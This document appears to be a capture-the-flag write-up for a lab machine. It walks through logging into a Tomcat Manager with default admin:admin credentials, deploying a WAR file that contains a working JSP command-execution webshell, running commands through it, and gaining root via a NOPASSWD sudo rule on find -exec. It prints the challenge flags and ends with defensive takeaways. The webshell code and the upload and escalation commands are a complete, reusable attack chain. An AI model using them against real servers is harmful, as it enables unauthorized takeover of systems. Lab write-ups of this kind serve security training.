Compromised 1 - Tomcat Default Credentials to WAR Deploy RCE

Compromised 1 - CTF Writeup

Challenge: https://hackerdna.com

Contents

• Reconnaissance
• Exploitation
• Privilege Escalation

Reconnaissance

Nmap scan reveals two open ports:

• 80 - HTTP (Apache 2.4.65) - Static “Server is Running” page
• 8080 - HTTP (Apache Tomcat 9.0.96) - Default Tomcat welcome page

Tomcat 9.0.96 has the Manager webapp at /manager/html with HTTP Basic Authentication.

Exploitation

Step 1 - Default Credentials

The Tomcat Manager login accepts default credentials:

curl -u "admin:admin" "http://TARGET:8080/manager/html"
# HTTP 200 - Access granted

The admin user has the manager-gui role, granting access to the HTML management interface.

Step 2 - Deploy Malicious WAR

Create a JSP webshell and package it as a WAR file:

python3 -c "
import zipfile
with zipfile.ZipFile('cmd.war', 'w', zipfile.ZIP_DEFLATED) as war:
    war.writestr('cmd.jsp', '''<%@ page import=\"java.io.*\" %>
<%
String cmd = request.getParameter(\"cmd\");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{\"/bin/sh\", \"-c\", cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
}
%>''')

Extract the CSRF nonce from the manager page and upload the WAR:

JSESSIONID="..."
NONCE="..."

curl -u "admin:admin" \
  -F "[email protected];filename=cmd.war" \
  -F "deploy=Deploy" \
  -F "path=/cmd" \
  -F "org.apache.catalina.filters.CSRF_NONCE=$NONCE" \
  "http://TARGET:8080/manager/html/upload"

Step 3 - Remote Code Execution

Access the deployed webshell:

curl -s "http://TARGET:8080/cmd/cmd.jsp?cmd=id"
# uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

Step 4 - User Flag

curl -s "http://TARGET:8080/cmd/cmd.jsp?cmd=cat%20/home/flag-user.txt"
# b457739f-aa29-e795-02a4-647e25b2a7ff

User Flag: b457739f-aa29-e795-02a4-647e25b2a7ff

Privilege Escalation

Sudo Enumeration

curl -s "http://TARGET:8080/cmd/cmd.jsp?cmd=sudo%20-l"
# User hacker may run the following commands:
#     (ALL) NOPASSWD: /usr/bin/find

GTFOBins - find

The find binary with NOPASSWD sudo allows executing any command as root via the -exec flag:

curl -s "http://TARGET:8080/cmd/cmd.jsp?cmd=sudo%20/usr/bin/find%20-exec%20cat%20/root/flag-root.txt%20%5C%3B%20-quit"
# 28bc8d09-1a64-4a4b-3ec2-5eedbff89857

Root Flag: 28bc8d09-1a64-4a4b-3ec2-5eedbff89857

How the Attack Works

Apache Tomcat’s Manager webapp is a powerful administrative interface: it can deploy, start, stop, and undeploy applications. That feature set is exactly what makes it dangerous. The Manager authenticates with HTTP Basic over the management port, and in this challenge the deployment accepted the vendor-default admin:admin credentials. Once inside, the standard Tomcat deployment feature becomes remote code execution — a WAR file is just a ZIP archive, and a JSP page inside it is executed by the container as soon as it is requested.

The root escalation uses a classic GTFOBins pattern. sudo -l exposed (ALL) NOPASSWD: /usr/bin/find. The find binary supports -exec, which runs any command it is given, so a tool that is meant to search files becomes a wrapper for arbitrary root command execution.

Key Takeaways

• Change default credentials immediately. Tomcat ships with documented default users and roles. Leave admin:admin in place and a management interface is a one-command foothold.
• Never expose management interfaces. The Manager and Host Manager webapps should be bound to localhost or a management VLAN, never the public internet.
• NOPASSWD + a binary that can execute arguments is root. Review sudo rules against GTFOBins. find -exec, vim, less, git, and scripting interpreters all become arbitrary command execution under sudo.
• CSRF tokens exist for a reason. The Manager webapp requires a nonce for state-changing requests — a small mitigation that raises the bar for blind CSRF-style attacks.